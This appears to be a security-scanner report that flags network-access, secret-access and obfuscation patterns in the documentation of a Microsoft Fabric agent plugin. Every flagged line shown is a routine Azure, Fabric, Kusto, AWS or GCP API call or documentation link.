harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/resources/pricing-api-reference.md

  • Network accessline 11
    **Base URL**: `https://prices.azure.com/api/retail/prices`
  • Network accessline 47
    $allItems = @() $url = "https://prices.azure.com/api/retail/prices?`$filter=serviceName eq 'Microsoft Fabric'"
  • Network accessline 48
    $url = "https://prices.azure.com/api/retail/prices?`$filter=serviceName eq 'Microsoft Fabric'"
  • Network accessline 86
    $filter = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region' and meterName eq 'OneLake Storage $tier Data Stored'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=
  • Network accessline 87
    $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $storagePrice = (Invoke-RestMethod -Uri $url -MaximumRetryCount 3 -RetryIntervalSec 5).Items |
  • Network accessline 88
    $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter"
  • Network accessline 93
    Write-Warning "No row for tier '$tier' in $region — listing all OneLake storage meters:"   $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'"   $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDa
  • Network accessline 94
    $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'"   $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))"   (Invoke-RestMethod -Uri $u -MaximumRetryCount 3 -RetryIntervalSec 5).Items
  • Network accessline 95
    $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))"
  • Network accessline 107
    $filter = "serviceName eq 'Bandwidth' and armRegionName eq '$region' and meterName eq 'Standard Data Transfer Out'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter
  • Network accessline 108
    $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $egressItems = (Invoke-RestMethod -Uri $url).Items |
  • Network accessline 109
    $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter"
  • Network accessline 119
    $filter = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region' and meterName eq 'autoscale for Spark Capacity Usage CU'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$fil
  • Network accessline 120
    $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $sparkRate = (Invoke-RestMethod -Uri $url -MaximumRetryCount 3 -RetryIntervalSec 5).Items |
  • Network accessline 121
    $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter"
  • Network accessline 126
    Write-Warning "No autoscale Spark meter for $region — listing all Fabric Spark/capacity meters:"     $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'"     $u = "https://prices.azure.com/api/retail/prices?`$filter=$([ur
  • Network accessline 127
    $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'"     $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))"     (Invoke-RestMethod -Uri $u -MaximumRetryCount 3 -RetryIntervalSec 5).I
  • Network accessline 128
    $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))"
  • Network accessline 141
    **Base URL**: `https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.CostManagement/query`
  • Network accessline 143
    **Auth**: See [COMMON-CLI.md](../../../common/COMMON-CLI.md) — use `az rest` with `--resource https://management.azure.com`
  • Network accessline 240
    # 3. Submit query az rest --method post `   --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" `
  • Network accessline 241
    az rest --method post    --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01"
  • Network accessline 242
    --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" `
  • Network accessline 261
    # https://learn.microsoft.com/en-us/rest/api/fabric/core/capacities/list-capacities
  • Network accessline 262
    az rest --method get --resource https://api.fabric.microsoft.com `
  • Network accessline 263
    --url "https://api.fabric.microsoft.com/v1/capacities" `
  • Network accessline 275
    **Fabric Admin API (tenant-wide inventory / admin-only operations)** - Base URL: `https://api.fabric.microsoft.com/v1/admin/capacities`
  • Network accessline 276
    - Base URL: `https://api.fabric.microsoft.com/v1/admin/capacities`
  • Network accessline 277
    - Auth: See [COMMON-CLI.md](../../../common/COMMON-CLI.md) — use `az rest` with `--resource https://api.fabric.microsoft.com`
  • Network accessline 308
    > **⚠<U+FE0F> Unvalidated heuristics**: These are community-derived approximations, not officially published Microsoft equivalences. The Power BI P-SKU → CU mapping is based on the [published Fabric capacity equivalents](https://learn.microsoft.co
  • Network accessline 329
    | **Azure** (Synapse, HDInsight, Azure Databricks infra, Power BI) | Azure Retail Prices API — anonymous (§1) | Azure Cost Management API (§2) | | **AWS** (Redshift, EMR, EC2, S3) | AWS Price List **Bulk** API — anonymous; or **Query** API 
  • Network accessline 330
    | **AWS** (Redshift, EMR, EC2, S3) | AWS Price List **Bulk** API — anonymous; or **Query** API (creds) | AWS Cost Explorer / Cost & Usage Report | | **Databricks** (any cloud — DBU) | **No public price API** — DBU list prices on the [Databr
  • Network accessline 331
    | **Databricks** (any cloud — DBU) | **No public price API** — DBU list prices on the [Databricks pricing page](https://www.databricks.com/product/pricing) | `system.billing.usage` joined with `system.billing.list_prices` (Unity Catalog sys
  • Network accessline 339
    # 1. Service offer index (lists every service offer file) GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json
  • Network accessline 340
    GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json
  • Network accessline 342
    # 2. Current price file for a specific service (e.g., Redshift, EMR, EC2) GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRedshift/current/index.json
  • Network accessline 343
    GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRedshift/current/index.json
  • Network accessline 360
    # List billable services to find a service ID (e.g., BigQuery, Dataproc) GET https://cloudbilling.googleapis.com/v1/services?key=<API_KEY>
  • Network accessline 361
    [Credential-related source omitted]
  • Access to secretsline 361
    [Credential-related source omitted]
  • Network accessline 363
    # List SKUs (unit prices) for a service GET https://cloudbilling.googleapis.com/v1/services/{serviceId}/skus?key=<API_KEY>
  • Network accessline 364
    [Credential-related source omitted]
  • Access to secretsline 364
    [Credential-related source omitted]

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-medallion-architecture/SKILL.md

  • Network accessline 177
    - **OneLake Shortcut** — for data already in Azure ADLS Gen2, S3, or another OneLake location    - **`notebookutils.fs`** — copy from mounted storage paths within a notebook    - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs*
  • Network accessline 178
    - **`notebookutils.fs`** — copy from mounted storage paths within a notebook    - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs** — `spark.read.format("csv").load("https://...")` will fail 2. **Read from lakehouse path**: Onc
  • Network accessline 179
    - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs** — `spark.read.format("csv").load("https://...")` will fail
  • Network accessline 320
    {"displayName": "sales-analytics-dev"} EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 321
    EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 322
    workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 323
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 328
    {"displayName": "sales_bronze", "type": "Lakehouse"} EOF az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 329
    EOF az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \
  • Network accessline 330
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 331
    --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/authoring.md

  • Network accessline 29
    | Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) | | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentica
  • Network accessline 30
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 31
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
  • Network accessline 87
    WS_ID="<workspace-id>" az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 88
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases"
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 90
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 101
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 102
    --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 103
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 136
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 137
    --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 138
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 199
    cat > /tmp/kql_body.json << EOF {"db":"${DB}","csl":".ingest into table Events (h'https://mystorage.blob.core.windows.net/data/events.csv.gz;impersonate') with (format='csv', ingestionMappingReference='EventsCsvMapping', ignoreFirstRecord=t
  • Network accessline 200
    {"db":"${DB}","csl":".ingest into table Events (h'https://mystorage.blob.core.windows.net/data/events.csv.gz;impersonate') with (format='csv', ingestionMappingReference='EventsCsvMapping', ignoreFirstRecord=true)"}
  • Network accessline 330
    az rest --method POST      --url "${CLUSTER_URI}/v1/rest/mgmt"      --resource "https://kusto.kusto.windows.net"
  • Network accessline 332
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 345
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 346
    --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 347
    --resource "https://kusto.kusto.windows.net" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/authoring/authoring-script-templates.md

  • Network accessline 22
    az rest --method POST      --url "${CLUSTER_URI}/v1/rest/mgmt"      --resource "https://kusto.kusto.windows.net"
  • Network accessline 24
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 49
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 50
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 51
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 77
    az rest --method POST      --url "${CLUSTER_URI}/v1/rest/mgmt"      --resource "https://kusto.kusto.windows.net"
  • Network accessline 79
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 89
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 90
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 91
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 99
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 100
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 101
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 109
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 110
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 111
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 135
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 136
    --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 137
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 162
    az rest --method POST      --url "${CLUSTER_URI}/v1/rest/mgmt"      --resource "https://kusto.kusto.windows.net"
  • Network accessline 164
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 180
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 181
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 182
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 190
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 191
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 192
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 216
    az rest --method POST        --url "$ClusterUri/v1/rest/mgmt"        --resource "https://kusto.kusto.windows.net"
  • Network accessline 218
    --resource "https://kusto.kusto.windows.net" `
  • Network accessline 236
    az rest --method POST `   --url "$ClusterUri/v1/rest/query" `   --resource "https://kusto.kusto.windows.net" `
  • Network accessline 237
    --url "$ClusterUri/v1/rest/query" `   --resource "https://kusto.kusto.windows.net" `   --headers "Content-Type=application/json" `
  • Network accessline 238
    --resource "https://kusto.kusto.windows.net" `
  • Network accessline 258
    az rest --method POST        --url "$ClusterUri/v1/rest/mgmt"        --resource "https://kusto.kusto.windows.net"
  • Network accessline 260
    --resource "https://kusto.kusto.windows.net" `
  • Network accessline 272
    az rest --method POST        --url "$ClusterUri/v1/rest/query"        --resource "https://kusto.kusto.windows.net"
  • Network accessline 274
    --resource "https://kusto.kusto.windows.net" `

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/consumption.md

  • Network accessline 28
    | Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) | | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentica
  • Network accessline 29
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 30
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
  • Network accessline 76
    # Get workspace ID (if not known) WS_ID=$(az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 77
    WS_ID=$(az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 78
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 82
    # List KQL Databases and get connection properties az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 83
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases"
  • Network accessline 84
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 85
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 109
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 110
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 111
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 161
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 162
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 163
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 177
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 178
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 179
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 189
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 190
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 191
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 247
    | Symptom | Fix | |---|---| | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set |
  • Network accessline 248
    |---|---| | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set | | Empty results on valid table | Check database context; may need `database("name").table` |
  • Network accessline 249
    | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set |
  • Network accessline 271
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 272
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 273
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 282
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 283
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 284
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 293
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 294
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 295
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 332
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 333
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 334
    --resource "https://kusto.kusto.windows.net" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/references/authoring.md

  • Network accessline 65
    Create a new Event Schema Set with the [Create Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/create-event-schema-set)
  • Network accessline 66
    [Create Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/create-event-schema-set)
  • Network accessline 78
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 79
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 80
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 94
    PAYLOAD=$(printf '%s' "$DEF_JSON" | base64 -w0)   # macOS: base64 | tr -d '\n' az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 95
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets"
  • Network accessline 96
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 97
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 111
    Change an existing item's `displayName` or `description` with the [Update Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set)
  • Network accessline 112
    [Update Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set)
  • Network accessline 118
    az rest --method PATCH \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 119
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 120
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 132
    Override the item's definition — its full `eventTypes` and `schemas` — with the [Update Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set-definition)
  • Network accessline 133
    [Update Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set-definition)
  • Network accessline 161
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/updateDefinition" \
  • Network accessline 162
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/updateDefinition" \
  • Network accessline 163
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 174
    Remove an Event Schema Set with the [Delete Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/delete-event-schema-set)
  • Network accessline 175
    [Delete Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/delete-event-schema-set)
  • Network accessline 184
    # Append ?hardDelete=true to the URL to delete permanently. az rest --method DELETE \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 185
    az rest --method DELETE    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}"
  • Network accessline 186
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 187
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 247
    See the [EventSchemaSet definition article](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition)
  • Network accessline 261
    already names the target item AND the destructive/overwrite action IS the confirmation, so proceed with the single   write after echoing. Ask for a separate confirmation only when the target or intent is ambiguous. - **Always pass `--resour
  • Network accessline 262
    write after echoing. Ask for a separate confirmation only when the target or intent is ambiguous. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls. - **Always resolve workspace and item IDs via JMESPath f
  • Network accessline 263
    - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/references/consumption.md

  • Network accessline 57
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 58
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 59
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 67
    ITEM_NAME="my-event-schema-set" az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 68
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets"
  • Network accessline 69
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \
  • Network accessline 70
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 76
    Return the properties of a single Event Schema Set with the [Get Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set)
  • Network accessline 77
    [Get Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set)
  • Network accessline 81
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 82
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \
  • Network accessline 83
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 108
    Retrieve the full definition of a selected Event Schema Set with the [Get Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set-definition)
  • Network accessline 109
    [Get Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set-definition)
  • Network accessline 115
    > Spec: [EventSchemaSet definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition)
  • Network accessline 138
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \
  • Network accessline 139
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \
  • Network accessline 140
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 149
    # Using jq + base64 (Linux; on macOS use base64 -D instead of -d) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \
  • Network accessline 150
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition"
  • Network accessline 151
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \
  • Network accessline 152
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 159
    # PowerShell (Windows) $def = az rest --method POST `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" `
  • Network accessline 160
    $def = az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition"
  • Network accessline 161
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" `
  • Network accessline 162
    --resource "https://api.fabric.microsoft.com" `
  • Possible obfuscationline 165
    [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json | ConvertTo-Json -Depth 10
  • Network accessline 248
    for something read-only ("inspect X, and also delete it"), complete the read-only part and   refuse only the mutation — leaving the item unchanged. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
  • Network accessline 249
    refuse only the mutation — leaving the item unchanged. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - **Always use JMESPath filtering** to resolve workspace name → ID and item name → ID
  • Network accessline 250
    - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/references/authoring.md

  • Network accessline 44
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 45
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \
  • Network accessline 46
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 84
    # 4. Submit via Items API az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" \
  • Network accessline 85
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items"
  • Network accessline 86
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" \
  • Network accessline 87
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 123
    > **API Note**: The Eventstream Definition APIs use `POST` with action verbs (`getDefinition`, `updateDefinition`), not `GET`/`PUT` on a `/definition` resource. This follows the Fabric Items Definition pattern. See [official docs](https://l
  • Network accessline 170
